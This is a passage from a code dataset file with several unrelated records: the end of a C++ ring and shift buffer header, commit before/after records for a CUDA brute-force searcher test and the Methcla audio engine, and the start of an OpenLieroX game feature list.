}\n\n\t\/\/\/ Get absolute index of most recently written element\n\tint pos() const { return mPos; }\n\n\t\/\/\/ Get fill amount of buffer\n\tint fill() const { return mFill; }\n\n\n\t\/\/\/ Get element at absolute index\n\tT& operator[](int i){ return mElems[i]; }\n\n\t\/\/\/ Get element at absolute index (read-only)\n\tconst T& operator[](int i) const { return mElems[i]; }\n\n\n\t\/\/\/ Obtain next element in buffer\n\n\t\/\/\/ This method returns a reference to the next available element in the\n\t\/\/\/ buffer. This is an alternative to calling write() that does not require\n\t\/\/\/ constructing a new object, but instead returns the oldest element in\n\t\/\/\/ the buffer. The returned reference should be assumed to be in an unknown\n\t\/\/\/ state, thus should be initialized properly.\n\tT& next(){\n\t\tif(mFill < size()) ++mFill;\n\t\t++mPos; if(pos() == size()){ mPos=0; }\n\t\treturn newest();\n\t}\n\n\t\/\/\/ Write new element\n\tvoid write(const T& v){\n\t\tAlloc::construct(&next(), v);\n\t}\n\n\t\/\/\/ Get reference to element relative to newest element\n\tconst T& read(int i) const { return readFrom(pos(), i); }\n\tT& read(int i){ return const_cast<T&>(const_cast<const RingBuffer<T,Alloc>*>(this)->read(i)); }\n\n\t\/\/\/ Get reference to older element relative to some newer element \n\n\t\/\/\/ @param[in] from\t\tabsolute index the read is relative to\n\t\/\/\/ @param[in] dist\t\tdistance into past relative to 'from' of the returned element\n\tconst T& readFrom(int from, int dist) const {\n\t\treturn mElems[wrapOnce(from-dist, size())];\n\t}\n\tT& readFrom(int from, int dist){\n\t\treturn const_cast<T&>(const_cast<const RingBuffer<T,Alloc>*>(this)->readFrom(from,dist));\n\t}\n\n\t\/\/\/ \\returns reference to newest (last in) element\n\tconst T& newest() const { return mElems[pos()]; }\n\tT& newest(){ return const_cast<T&>(const_cast<const RingBuffer<T,Alloc>*>(this)->newest()); }\n\n\t\/\/\/ \\returns reference to oldest (first in) element\n\tconst T& oldest() const { return read(fill()-1); }\n\tT& oldest(){ return const_cast<T&>(const_cast<const RingBuffer<T,Alloc>*>(this)->oldest()); }\n\n\t\/\/\/ Set write position to start of array and zero fill amount\n\tvoid reset(){\n\t\tmPos = size()-1;\n\t\tmFill = 0;\n\t}\n\n\t\/\/\/ Resize buffer\n\n\t\/\/\/ @param[in] n\tnumber of elements\n\t\/\/\/ @param[in] v\tinitialization value of newly allocated elements\n\tvoid resize(int n, const T& v=T()){\n\t\tmElems.resize(n,v);\n\t\tif(mPos >=n) mPos = n-1;\n\t}\n\nprotected:\n\tstd::vector<T, Alloc> mElems;\n\tint mPos;\n\tint mFill = 0;\n\n\t\/\/ Moves value one period closer to interval [0, max)\n\tstatic int wrapOnce(int v, int max){\n\t\tif(v <  0)   return v+max;\n\t\tif(v >= max) return v-max;\n\t\treturn v;\n\t}\n};\n\n\n\n\/\/\/ Constant size shift buffer\n\n\/\/\/ This is a first-in, first-out buffer with a constant number of elements.\n\/\/\/ Adding new elements to the buffer physically moves existing elements. The\n\/\/\/ advantage of moving memory like this is that elements stay logically ordered\n\/\/\/ making access faster and operating on the history easier.\n\/\/\/\n\/\/\/ @ingroup allocore\ntemplate <int N, class T>\nclass ShiftBuffer{\npublic:\n\n\t\/\/\/ @param[in] v\tValue to initialize all elements to\n\tShiftBuffer(const T& v=T()){ assign(v); }\n\n\t\/\/\/ Get number of elements\n\tstatic int size(){ return N; }\n\n\t\/\/\/ Get pointer to elements (read-only)\n\tconst T * elems() const { return &mElems[0]; }\n\n\t\/\/\/ Get pointer to elements\n\tT * elems(){ return &mElems[0]; }\n\n\t\/\/\/ Get reference to element at index\n\tT& operator[](int i){ return mElems[i];}\n\n\t\/\/\/ Get reference to element at index (read-only)\n\tconst T& operator[](int i) const { return mElems[i]; }\n\n\n\t\/\/\/ Push new element onto buffer. Newest element is at index 0.\n\tvoid operator()(const T& v){\n\t\tfor(int i=N-1; i>0; --i) mElems[i] = mElems[i-1];\n\t\tmElems[0]=v;\n\t}\n\n\n\t\/\/\/ Set all elements to argument\n\tvoid assign(const T& v){ for(int i=0;i<N;++i) mElems[i]=v; }\n\n\t\/\/\/ Zero bytes of all elements\n\tvoid zero(){ memset(mElems, 0, N * sizeof(T)); }\n\nprotected:\n\tT mElems[N];\n};\n\n\n\n} \/\/ al::\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include \"CUDADenseGraphBFSearcher.h\"\n#include \"Device.h\"\n\nusing namespace sqaod_cuda;\n\n\ntemplate<class real>\nvoid runBFSearcher() {\n    typedef sq::MatrixType<real> Matrix;\n\n    Device device;\n    device.initialize();\n    \n    int N = 100;\n    CUDADenseGraphBFSearcher<real> solver;\n    solver.assignDevice(device);\n    Matrix W = Matrix::eye(N);\n    solver.setProblem(W, sq::optMinimize);\n    solver.search();\n\n    device.finalize();\n\n}\n\n\nint main() {\n    runBFSearcher<float>();\n    runBFSearcher<double>();\n}\n<commit_msg>setProblem() -> setQUBO().<commit_after>#include <iostream>\n#include \"CUDADenseGraphBFSearcher.h\"\n#include \"Device.h\"\n\nusing namespace sqaod_cuda;\n\n\ntemplate<class real>\nvoid runBFSearcher() {\n    typedef sq::MatrixType<real> Matrix;\n\n    Device device;\n    device.initialize();\n    \n    int N = 100;\n    CUDADenseGraphBFSearcher<real> solver;\n    solver.assignDevice(device);\n    Matrix W = Matrix::eye(N);\n    solver.setQUBO(W, sq::optMinimize);\n    solver.search();\n\n    device.finalize();\n\n}\n\n\nint main() {\n    runBFSearcher<float>();\n    runBFSearcher<double>();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2012-2013 Samplecount S.L.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"Methcla\/Audio\/Engine.hpp\"\n#include \"Methcla\/Audio\/Group.hpp\"\n#include \"Methcla\/Audio\/Synth.hpp\"\n#include \"Methcla\/LV2\/Atom.hpp\"\n\n#include <boost\/current_function.hpp>\n#include <cstdlib>\n#include <iostream>\n\n#include \"lv2\/lv2plug.in\/ns\/ext\/atom\/util.h\"\n\nusing namespace Methcla;\nusing namespace Methcla::Audio;\nusing namespace Methcla::Memory;\nusing namespace std;\n\nvoid NodeMap::insert(Node* node)\n{\n    NodeId id = node->id();\n    if (m_nodes[id] != 0)\n        BOOST_THROW_EXCEPTION(DuplicateNodeId() << ErrorInfoNodeId(id));\n    m_nodes[id] = node;\n}\n\nvoid NodeMap::release(const NodeId& nodeId)\n{\n    if (m_nodes[nodeId] == 0)\n        BOOST_THROW_EXCEPTION(InvalidNodeId() << ErrorInfoNodeId(nodeId));\n    m_nodes[nodeId] = 0;\n}\n\nEnvironment::Environment(PluginManager& pluginManager, const Options& options)\n    : m_sampleRate(options.sampleRate)\n    , m_blockSize(options.blockSize)\n    , m_plugins(pluginManager)\n    , m_audioBuses    (options.numHardwareInputChannels+options.numHardwareOutputChannels+options.maxNumAudioBuses)\n    , m_freeAudioBuses(options.numHardwareInputChannels+options.numHardwareOutputChannels+options.maxNumAudioBuses)\n    , m_nodes(options.maxNumNodes)\n    , m_rootNode(Group::construct(*this, nullptr, Node::kAddToTail))\n    , m_epoch(0)\n    , m_worker(uriMap())\n    , m_uris(uriMap())\n    , m_parser(uriMap().lv2Map())\n    , m_printer(uriMap().lv2Map(), uriMap().lv2Unmap())\n{\n    const Epoch prevEpoch = epoch() - 1;\n\n    m_audioInputChannels.reserve(options.numHardwareInputChannels);\n    for (uint32_t i=0; i < options.numHardwareInputChannels; i++) {\n        ExternalAudioBus* bus = new ExternalAudioBus(*this, AudioBusId(i), blockSize(), prevEpoch);\n        m_audioBuses.insert(bus->id(), bus);\n        m_audioInputChannels.push_back(bus);\n    }\n\n    m_audioOutputChannels.reserve(options.numHardwareOutputChannels);\n    for (uint32_t i=0; i < options.numHardwareOutputChannels; i++) {\n        ExternalAudioBus* bus = new ExternalAudioBus(*this, AudioBusId(i), blockSize(), prevEpoch);\n        m_audioBuses.insert(bus->id(), bus);\n        m_audioOutputChannels.push_back(bus);\n    }\n\n    for (uint32_t i=options.numHardwareInputChannels+options.numHardwareOutputChannels; i < m_freeAudioBuses.size(); i++) {\n        AudioBus* bus = new InternalAudioBus(*this, AudioBusId(i), blockSize(), prevEpoch);\n        m_freeAudioBuses.insert(bus->id(), bus);\n    }\n}\n\nEnvironment::~Environment()\n{\n}\n\nAudioBus* Environment::audioBus(const AudioBusId& id)\n{\n    return m_audioBuses.lookup(id);\n}\n\nAudioBus& Environment::externalAudioOutput(size_t index)\n{\n    return *m_audioOutputChannels[index];\n}\n\nAudioBus& Environment::externalAudioInput(size_t index)\n{\n    return *m_audioInputChannels[index];\n}\n\nvoid Environment::request(MessageQueue::Respond respond, void* data, const LV2_Atom* msg)\n{\n    m_requests.send(respond, data, msg);\n}\n\nvoid Environment::process(size_t numFrames, sample_t** inputs, sample_t** outputs)\n{\n    BOOST_ASSERT_MSG( numFrames <= blockSize(), \"numFrames exceeds blockSize()\" );\n\n    \/\/ Process external requests\n    processRequests();\n\n    \/\/ Process non-realtime commands\n    m_worker.perform();\n\n    const size_t numInputs = m_audioInputChannels.size();\n    const size_t numOutputs = m_audioOutputChannels.size();\n\n    \/\/ Connect input and output buses\n    for (size_t i=0; i < numInputs; i++) {\n        m_audioInputChannels[i]->setData(inputs[i]);\n        m_audioInputChannels[i]->setEpoch(epoch());\n    }\n    for (size_t i=0; i < numOutputs; i++) {\n        m_audioOutputChannels[i]->setData(outputs[i]);\n    }\n\n    \/\/ Run DSP graph\n    m_rootNode->process(numFrames);\n\n    \/\/ Zero outputs that haven't been written to\n    for (size_t i=0; i < numOutputs; i++) {\n        if (m_audioOutputChannels[i]->epoch() != epoch()) {\n            memset(outputs[i], 0, numFrames * sizeof(sample_t));\n        }\n    }\n\n    m_epoch++;\n}\n\nstatic void forgeReturnEnvelope(::LV2::Forge& forge, const Uris& uris, const Environment::MessageQueue::Message& msg)\n{\n    forge.atom(sizeof(msg), uris.atom_Chunk);\n    forge.write(&msg, sizeof(msg));\n}\n\nstatic void forgeError(::LV2::Forge& forge, const Uris& uris, const char* errorMessage)\n{\n    ::LV2::ObjectFrame frame(forge, 0, uris.patch_Error);\n    forge << ::LV2::Property(uris.methcla_errorMessage)\n          << errorMessage;\n}\n\nstatic void forgeException(::LV2::Forge& forge, const Uris& uris, const Exception& e)\n{\n    const std::string* errorInfo = boost::get_error_info<ErrorInfoString>(e);\n    const char* errorMessage = errorInfo == nullptr ? \"Unknown error\" : errorInfo->c_str();\n    forgeError(forge, uris, errorMessage);\n}\n\nstatic void sendReply(void* data, const LV2_Atom* payload, Environment::Worker::Writer& \/* writer *\/)\n{\n    const LV2::Parser& parser = *static_cast<const LV2::Parser*>(data);\n    auto tuple = parser.cast<const LV2_Atom_Tuple*>(payload);\n    auto iter = lv2_atom_tuple_begin(tuple);\n    auto msg = parser.cast<const Environment::MessageQueue::Message*>(iter);\n    auto response = lv2_atom_tuple_next(iter);\n    msg->respond(response);\n}\n\nvoid Environment::processRequests()\n{\n    MessageQueue::Message msg;\n    while (m_requests.next(msg)) {\n        try {\n            handleRequest(msg);\n        } catch(Exception& e) {\n            \/\/ Send Error response\n            ::LV2::Forge forge(*prepare(sendReply, &m_parser));\n            {\n                ::LV2::TupleFrame frame(forge);\n                forgeReturnEnvelope(frame, uris(), msg);\n                forgeException(frame, uris(), e);\n            }\n            commit();\n        } catch(std::exception& e) {\n            \/\/ Send Error response\n            ::LV2::Forge forge(*prepare(sendReply, &m_parser));\n            {\n                ::LV2::TupleFrame frame(forge);\n                forgeReturnEnvelope(frame, uris(), msg);\n                forgeError(frame, uris(), e.what());\n            }\n            commit();\n        }\n    }\n}\n\n\/*\n*\/\nvoid Environment::handleRequest(MessageQueue::Message& request)\n{\n    const LV2_Atom* atom = request.payload();\n    std::cout << BOOST_CURRENT_FUNCTION << std::endl;\n    m_printer.print(std::cout, atom, 4);\n    \/\/cout << \"Message: \" << atom << endl\n         \/\/<< \"    atom size: \" << atom->size << endl\n         \/\/<< \"    atom type: \" << atom->type << endl\n         \/\/<< \"    atom uri:  \" << unmapUri(atom->type) << endl;\n    if (m_parser.isObject(atom))\n        handleMessageRequest(request, m_parser.cast<const LV2_Atom_Object*>(atom));\n    else if (m_parser.isSequence(atom))\n        handleSequenceRequest(request, m_parser.cast<const LV2_Atom_Sequence*>(atom));\n    else\n        BOOST_THROW_EXCEPTION(Exception() << ErrorInfoString(\"Invalid request type\"));\n}\n\nvoid Environment::handleMessageRequest(MessageQueue::Message& request, const LV2_Atom_Object* msg)\n{\n    const LV2_Atom* subjectAtom = nullptr;\n    const LV2_Atom* bodyAtom = nullptr;\n    const LV2_URID requestType = msg->body.otype;\n\n    int matches = lv2_atom_object_get(\n                    msg\n                  , uris().patch_subject, &subjectAtom\n                  , uris().patch_body, &bodyAtom\n                  , nullptr );\n\n    if (subjectAtom == nullptr)\n        BOOST_THROW_EXCEPTION( Exception() << ErrorInfoString(\"Message must have subject property\") );\n\n    const LV2_Atom_Object* subject = m_parser.cast<const LV2_Atom_Object*>(subjectAtom);\n    const LV2_Atom_Object* body = m_parser.cast<const LV2_Atom_Object*>(bodyAtom);\n\n    if (subject->body.otype == uris().methcla_Node) {\n        const LV2_Atom* targetAtom = nullptr;\n        lv2_atom_object_get(subject, uris().methcla_id, &targetAtom, nullptr);\n        BOOST_ASSERT_MSG( targetAtom != nullptr, \"methcla:id property not found\" );\n\n        NodeId targetId(m_parser.cast<int32_t>(targetAtom));\n        Node* targetNode = m_nodes.lookup(targetId);\n        BOOST_ASSERT_MSG( targetNode != nullptr, \"target node not found\" );\n\n        Synth* targetSynth = dynamic_cast<Synth*>(targetNode);\n        Group* targetGroup = targetSynth == nullptr ? dynamic_cast<Group*>(targetNode) : targetSynth->parent();\n\n        if (requestType == uris().patch_Insert) {\n            \/\/ get add target specification\n\n            \/\/ get plugin URI\n            const LV2_Atom* pluginAtom = nullptr;\n            lv2_atom_object_get(body, uris().methcla_plugin, &pluginAtom, nullptr);\n            BOOST_ASSERT_MSG( pluginAtom != nullptr, \"methcla:plugin property not found\" );\n            LV2_URID pluginURID = m_parser.cast<LV2_URID>(pluginAtom);\n\n            \/\/ get params from body\n\n            \/\/ uris().methcla_plugin\n            const std::shared_ptr<Plugin> def = plugins().lookup(pluginURID);\n            Synth* synth = Synth::construct(*this, targetGroup, Node::kAddToTail, *def);\n\n            \/\/ Send reply with synth ID (from NRT thread)\n            ::LV2::Forge forge(*prepare(sendReply, &m_parser));\n            {\n                ::LV2::TupleFrame frame(forge);\n                forgeReturnEnvelope(frame, uris(), request);\n                {\n                    ::LV2::ObjectFrame frame(forge, 0, uris().patch_Ack);\n                    forge << ::LV2::Property(uris().methcla_id)\n                          << (int32_t)synth->id();\n                }\n            }\n            commit();\n        } else if (requestType == uris().patch_Delete) {\n\n        } else if (requestType == uris().patch_Set) {\n\n        }\n    }\n}\n\nvoid Environment::handleSequenceRequest(MessageQueue::Message& request, const LV2_Atom_Sequence* bdl)\n{\n    std::cerr << \"Sequence requests not supported yet\\n\";\n}\n\n\nEngine::Engine(PluginManager& pluginManager, const boost::filesystem::path& lv2Directory)\n{\n    m_driver = IO::defaultPlatformDriver();\n    m_driver->setProcessCallback(processCallback, this);\n\n    Environment::Options options;\n    options.sampleRate = m_driver->sampleRate();\n    options.blockSize = m_driver->bufferSize();\n    options.numHardwareInputChannels = m_driver->numInputs();\n    options.numHardwareOutputChannels = m_driver->numOutputs();\n    m_env = new Environment(pluginManager, options);\n\n    pluginManager.loadPlugins(lv2Directory);\n}\n\nEngine::~Engine()\n{\n    stop();\n    delete m_env;\n    delete m_driver;\n}\n\nvoid Engine::start()\n{\n    m_driver->start();\n}\n\nvoid Engine::stop()\n{\n    m_driver->stop();\n}\n\nvoid Engine::processCallback(void* data, size_t numFrames, sample_t** inputs, sample_t** outputs)\n{\n    static_cast<Engine*>(data)->m_env->process(numFrames, inputs, outputs);\n}\n<commit_msg>Remove stale code<commit_after>\/\/ Copyright 2012-2013 Samplecount S.L.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"Methcla\/Audio\/Engine.hpp\"\n#include \"Methcla\/Audio\/Group.hpp\"\n#include \"Methcla\/Audio\/Synth.hpp\"\n#include \"Methcla\/LV2\/Atom.hpp\"\n\n#include <boost\/current_function.hpp>\n#include <cstdlib>\n#include <iostream>\n\n#include \"lv2\/lv2plug.in\/ns\/ext\/atom\/util.h\"\n\nusing namespace Methcla;\nusing namespace Methcla::Audio;\nusing namespace Methcla::Memory;\nusing namespace std;\n\nvoid NodeMap::insert(Node* node)\n{\n    NodeId id = node->id();\n    if (m_nodes[id] != 0)\n        BOOST_THROW_EXCEPTION(DuplicateNodeId() << ErrorInfoNodeId(id));\n    m_nodes[id] = node;\n}\n\nvoid NodeMap::release(const NodeId& nodeId)\n{\n    if (m_nodes[nodeId] == 0)\n        BOOST_THROW_EXCEPTION(InvalidNodeId() << ErrorInfoNodeId(nodeId));\n    m_nodes[nodeId] = 0;\n}\n\nEnvironment::Environment(PluginManager& pluginManager, const Options& options)\n    : m_sampleRate(options.sampleRate)\n    , m_blockSize(options.blockSize)\n    , m_plugins(pluginManager)\n    , m_audioBuses    (options.numHardwareInputChannels+options.numHardwareOutputChannels+options.maxNumAudioBuses)\n    , m_freeAudioBuses(options.numHardwareInputChannels+options.numHardwareOutputChannels+options.maxNumAudioBuses)\n    , m_nodes(options.maxNumNodes)\n    , m_rootNode(Group::construct(*this, nullptr, Node::kAddToTail))\n    , m_epoch(0)\n    , m_worker(uriMap())\n    , m_uris(uriMap())\n    , m_parser(uriMap().lv2Map())\n    , m_printer(uriMap().lv2Map(), uriMap().lv2Unmap())\n{\n    const Epoch prevEpoch = epoch() - 1;\n\n    m_audioInputChannels.reserve(options.numHardwareInputChannels);\n    for (uint32_t i=0; i < options.numHardwareInputChannels; i++) {\n        ExternalAudioBus* bus = new ExternalAudioBus(*this, AudioBusId(i), blockSize(), prevEpoch);\n        m_audioBuses.insert(bus->id(), bus);\n        m_audioInputChannels.push_back(bus);\n    }\n\n    m_audioOutputChannels.reserve(options.numHardwareOutputChannels);\n    for (uint32_t i=0; i < options.numHardwareOutputChannels; i++) {\n        ExternalAudioBus* bus = new ExternalAudioBus(*this, AudioBusId(i), blockSize(), prevEpoch);\n        m_audioBuses.insert(bus->id(), bus);\n        m_audioOutputChannels.push_back(bus);\n    }\n\n    for (uint32_t i=options.numHardwareInputChannels+options.numHardwareOutputChannels; i < m_freeAudioBuses.size(); i++) {\n        AudioBus* bus = new InternalAudioBus(*this, AudioBusId(i), blockSize(), prevEpoch);\n        m_freeAudioBuses.insert(bus->id(), bus);\n    }\n}\n\nEnvironment::~Environment()\n{\n}\n\nAudioBus* Environment::audioBus(const AudioBusId& id)\n{\n    return m_audioBuses.lookup(id);\n}\n\nAudioBus& Environment::externalAudioOutput(size_t index)\n{\n    return *m_audioOutputChannels[index];\n}\n\nAudioBus& Environment::externalAudioInput(size_t index)\n{\n    return *m_audioInputChannels[index];\n}\n\nvoid Environment::request(MessageQueue::Respond respond, void* data, const LV2_Atom* msg)\n{\n    m_requests.send(respond, data, msg);\n}\n\nvoid Environment::process(size_t numFrames, sample_t** inputs, sample_t** outputs)\n{\n    BOOST_ASSERT_MSG( numFrames <= blockSize(), \"numFrames exceeds blockSize()\" );\n\n    \/\/ Process external requests\n    processRequests();\n\n    \/\/ Process non-realtime commands\n    m_worker.perform();\n\n    const size_t numInputs = m_audioInputChannels.size();\n    const size_t numOutputs = m_audioOutputChannels.size();\n\n    \/\/ Connect input and output buses\n    for (size_t i=0; i < numInputs; i++) {\n        m_audioInputChannels[i]->setData(inputs[i]);\n        m_audioInputChannels[i]->setEpoch(epoch());\n    }\n    for (size_t i=0; i < numOutputs; i++) {\n        m_audioOutputChannels[i]->setData(outputs[i]);\n    }\n\n    \/\/ Run DSP graph\n    m_rootNode->process(numFrames);\n\n    \/\/ Zero outputs that haven't been written to\n    for (size_t i=0; i < numOutputs; i++) {\n        if (m_audioOutputChannels[i]->epoch() != epoch()) {\n            memset(outputs[i], 0, numFrames * sizeof(sample_t));\n        }\n    }\n\n    m_epoch++;\n}\n\nstatic void forgeReturnEnvelope(::LV2::Forge& forge, const Uris& uris, const Environment::MessageQueue::Message& msg)\n{\n    forge.atom(sizeof(msg), uris.atom_Chunk);\n    forge.write(&msg, sizeof(msg));\n}\n\nstatic void forgeError(::LV2::Forge& forge, const Uris& uris, const char* errorMessage)\n{\n    ::LV2::ObjectFrame frame(forge, 0, uris.patch_Error);\n    forge << ::LV2::Property(uris.methcla_errorMessage)\n          << errorMessage;\n}\n\nstatic void forgeException(::LV2::Forge& forge, const Uris& uris, const Exception& e)\n{\n    const std::string* errorInfo = boost::get_error_info<ErrorInfoString>(e);\n    const char* errorMessage = errorInfo == nullptr ? \"Unknown error\" : errorInfo->c_str();\n    forgeError(forge, uris, errorMessage);\n}\n\nstatic void sendReply(void* data, const LV2_Atom* payload, Environment::Worker::Writer& \/* writer *\/)\n{\n    const LV2::Parser& parser = *static_cast<const LV2::Parser*>(data);\n    auto tuple = parser.cast<const LV2_Atom_Tuple*>(payload);\n    auto iter = lv2_atom_tuple_begin(tuple);\n    auto msg = parser.cast<const Environment::MessageQueue::Message*>(iter);\n    auto response = lv2_atom_tuple_next(iter);\n    msg->respond(response);\n}\n\nvoid Environment::processRequests()\n{\n    MessageQueue::Message msg;\n    while (m_requests.next(msg)) {\n        try {\n            handleRequest(msg);\n        } catch(Exception& e) {\n            \/\/ Send Error response\n            ::LV2::Forge forge(*prepare(sendReply, &m_parser));\n            {\n                ::LV2::TupleFrame frame(forge);\n                forgeReturnEnvelope(frame, uris(), msg);\n                forgeException(frame, uris(), e);\n            }\n            commit();\n        } catch(std::exception& e) {\n            \/\/ Send Error response\n            ::LV2::Forge forge(*prepare(sendReply, &m_parser));\n            {\n                ::LV2::TupleFrame frame(forge);\n                forgeReturnEnvelope(frame, uris(), msg);\n                forgeError(frame, uris(), e.what());\n            }\n            commit();\n        }\n    }\n}\n\n\/*\n*\/\nvoid Environment::handleRequest(MessageQueue::Message& request)\n{\n    const LV2_Atom* atom = request.payload();\n\n    std::cout << BOOST_CURRENT_FUNCTION << std::endl;\n    m_printer.print(std::cout, atom, 4);\n\n    if (m_parser.isObject(atom))\n        handleMessageRequest(request, m_parser.cast<const LV2_Atom_Object*>(atom));\n    else if (m_parser.isSequence(atom))\n        handleSequenceRequest(request, m_parser.cast<const LV2_Atom_Sequence*>(atom));\n    else\n        BOOST_THROW_EXCEPTION(Exception() << ErrorInfoString(\"Invalid request type\"));\n}\n\nvoid Environment::handleMessageRequest(MessageQueue::Message& request, const LV2_Atom_Object* msg)\n{\n    const LV2_Atom* subjectAtom = nullptr;\n    const LV2_Atom* bodyAtom = nullptr;\n    const LV2_URID requestType = msg->body.otype;\n\n    int matches = lv2_atom_object_get(\n                    msg\n                  , uris().patch_subject, &subjectAtom\n                  , uris().patch_body, &bodyAtom\n                  , nullptr );\n\n    if (subjectAtom == nullptr)\n        BOOST_THROW_EXCEPTION( Exception() << ErrorInfoString(\"Message must have subject property\") );\n\n    const LV2_Atom_Object* subject = m_parser.cast<const LV2_Atom_Object*>(subjectAtom);\n    const LV2_Atom_Object* body = m_parser.cast<const LV2_Atom_Object*>(bodyAtom);\n\n    if (subject->body.otype == uris().methcla_Node) {\n        const LV2_Atom* targetAtom = nullptr;\n        lv2_atom_object_get(subject, uris().methcla_id, &targetAtom, nullptr);\n        BOOST_ASSERT_MSG( targetAtom != nullptr, \"methcla:id property not found\" );\n\n        NodeId targetId(m_parser.cast<int32_t>(targetAtom));\n        Node* targetNode = m_nodes.lookup(targetId);\n        BOOST_ASSERT_MSG( targetNode != nullptr, \"target node not found\" );\n\n        Synth* targetSynth = dynamic_cast<Synth*>(targetNode);\n        Group* targetGroup = targetSynth == nullptr ? dynamic_cast<Group*>(targetNode) : targetSynth->parent();\n\n        if (requestType == uris().patch_Insert) {\n            \/\/ get add target specification\n\n            \/\/ get plugin URI\n            const LV2_Atom* pluginAtom = nullptr;\n            lv2_atom_object_get(body, uris().methcla_plugin, &pluginAtom, nullptr);\n            BOOST_ASSERT_MSG( pluginAtom != nullptr, \"methcla:plugin property not found\" );\n            LV2_URID pluginURID = m_parser.cast<LV2_URID>(pluginAtom);\n\n            \/\/ get params from body\n\n            \/\/ uris().methcla_plugin\n            const std::shared_ptr<Plugin> def = plugins().lookup(pluginURID);\n            Synth* synth = Synth::construct(*this, targetGroup, Node::kAddToTail, *def);\n\n            \/\/ Send reply with synth ID (from NRT thread)\n            ::LV2::Forge forge(*prepare(sendReply, &m_parser));\n            {\n                ::LV2::TupleFrame frame(forge);\n                forgeReturnEnvelope(frame, uris(), request);\n                {\n                    ::LV2::ObjectFrame frame(forge, 0, uris().patch_Ack);\n                    forge << ::LV2::Property(uris().methcla_id)\n                          << (int32_t)synth->id();\n                }\n            }\n            commit();\n        } else if (requestType == uris().patch_Delete) {\n\n        } else if (requestType == uris().patch_Set) {\n\n        }\n    }\n}\n\nvoid Environment::handleSequenceRequest(MessageQueue::Message& request, const LV2_Atom_Sequence* bdl)\n{\n    std::cerr << \"Sequence requests not supported yet\\n\";\n}\n\n\nEngine::Engine(PluginManager& pluginManager, const boost::filesystem::path& lv2Directory)\n{\n    m_driver = IO::defaultPlatformDriver();\n    m_driver->setProcessCallback(processCallback, this);\n\n    Environment::Options options;\n    options.sampleRate = m_driver->sampleRate();\n    options.blockSize = m_driver->bufferSize();\n    options.numHardwareInputChannels = m_driver->numInputs();\n    options.numHardwareOutputChannels = m_driver->numOutputs();\n    m_env = new Environment(pluginManager, options);\n\n    pluginManager.loadPlugins(lv2Directory);\n}\n\nEngine::~Engine()\n{\n    stop();\n    delete m_env;\n    delete m_driver;\n}\n\nvoid Engine::start()\n{\n    m_driver->start();\n}\n\nvoid Engine::stop()\n{\n    m_driver->stop();\n}\n\nvoid Engine::processCallback(void* data, size_t numFrames, sample_t** inputs, sample_t** outputs)\n{\n    static_cast<Engine*>(data)->m_env->process(numFrames, inputs, outputs);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  FeatureList.cpp\n *  OpenLieroX\n *\n *  Created by Albert Zeyer on 22.12.08.\n *  code under LGPL\n *\n *\/\n\n\n#include \"FeatureList.h\"\n#include \"Version.h\"\n#include \"CServer.h\"\n\n\n\n\/\/ WARNING: Keep this always synchronised with FeatureIndex!\n\/\/ Legend:\tName in options,\t\tHuman-readable-name,\t\t\tLong description,\t\n\/\/\t\t\tUnset,\tDefault,\t\tMin client Version,\tGroup,\t\t\t\t[Min,]\t[Max,]\t[server-side only] [optional for client] [switch to unset value on older clients] [is value unsigned] (Min and Max are only for Int and Float)\n\/\/ Old clients are kicked if feature version is greater that client version, no matter if feature is server-sided or safe to ignore\n\nFeature featureArray[] = {\n\tFeature(\"GameSpeed\", \t\t\t\"Game-speed multiplicator\", \t\"Game simulation speed is multiplicated by the given value.\", \n\t\t\t1.0f, \t1.0f,\t\t\tOLXBetaVersion(7), \tGIG_Advanced, \t\t0.1f, \t10.0f ),\n\tFeature(\"GameSpeedOnlyForProjs\", \"Speed multiplier only for projs\",\t\"Game-speed multiplicator applies only for projectiles and weapons, everything else will be normal speed\",\n\t\t\tfalse, false,\t\t\tOLXBetaVersion(9),\tGIG_Advanced,\t\t\t\t\t\tfalse),\n\tFeature(\"ForceScreenShaking\", \t\"Force screen shaking\", \t\t\"Screen shaking when something explodes will be activated for everybody.\", \n\t\t\ttrue, \tfalse, \t\t\tOLXBetaVersion(9),\tGIG_Other, \t\t\t\t\t\t\tfalse,\ttrue,\ttrue ),\n\tFeature(\"SuicideDecreasesScore\", \"Suicide decreases score\", \"The kills count will be descreased by one after a suicide.\", \n\t\t\tfalse, \tfalse, \t\t\tVersion(), \t\t\tGIG_Score, \t\t\t\t\t\t\tfalse,\ttrue ),\n\tFeature(\"TeamkillDecreasesScore\", \"Teamkill decreases score\", \"The kills count will be descreased by one after a teamkill.\", \n\t\t\tfalse, \tfalse, \t\t\tVersion(), \t\t\tGIG_Score, \t\t\t\t\t\t\tfalse,\ttrue ),\n\tFeature(\"CountTeamkills\", \t\t\"Count teamkills\", \t\t\t\t\"When killing player from your team increase your score\", \n\t\t\tfalse, \tfalse, \t\t\tVersion(), \t\t\tGIG_Score, \t\t\t\t\t\t\tfalse,\ttrue ),\n\tFeature(\"TeamInjure\", \t\t\t\"Damage team members\", \t\t\t\"If disabled, your bullets and projectiles don't damage other team members.\", \n\t\t\ttrue, \ttrue, \t\t\tOLXBetaVersion(9), \tGIG_Weapons ),\n\tFeature(\"TeamHit\", \t\t\t\t\"Hit team members\", \t\t\t\"If disabled, your bullets and projectiles will fly through your team members.\", \n\t\t\ttrue, \ttrue, \t\t\tOLXBetaVersion(9), \tGIG_Weapons 